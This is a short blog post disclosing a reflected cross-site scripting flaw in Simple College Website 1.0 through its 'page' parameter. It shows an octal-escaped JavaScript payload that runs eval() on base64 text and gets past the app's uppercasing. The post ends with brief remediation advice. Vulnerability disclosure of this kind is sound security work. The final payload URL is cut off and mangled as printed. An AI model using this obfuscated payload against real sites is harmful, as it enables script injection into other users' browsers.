gowthamaraj(@fuffsec) Follow
Sep 4 · 2 min read · Listen

Simple College Website 1.0 — XSS

Simple College Website 1.0 allows a user to perform a **Reflected Cross-site scripting** via /college_website/index.php?page= when sending Javascript code to the “page” parameter.

Vendor Homepage: https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html

Source Code: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-college-website.zip

Photo by Muha Ajjan on Unsplash

Identification

When i sent a random text to the endpoint “/college_website/index.php?page=<random_text>”, i observed that it was added to the response HTML without any encoding.

Burp Req/Res

Hacking

From the Response of the Burp, i could see that the injection point output is capitalised. This would cause some trouble with executing the Javascript payload as it is case sensitive.

After a good amount of search and research, i came with the following payload.

```
[]["\146\151\154\164\145\162"]
["\143\157\156\163\164\162\165\143\164\157\162"]
("\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\12
1\157\115\123\153\75\42\51\51")()
```

Thanks to the blog https://en.qdmana.com/2022/188/202207070757366180.html.

Final url with payload:

```
http://<domain>/college_website/index.php?page=<script>[]
[“\146\151\154\164\145\162”]
[“\143\157\156\163\164\162\165\143\164\157\162”]
(“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\12
```

Script execution

Remediation

1. Filter input on arrival.
2. Encode data on output.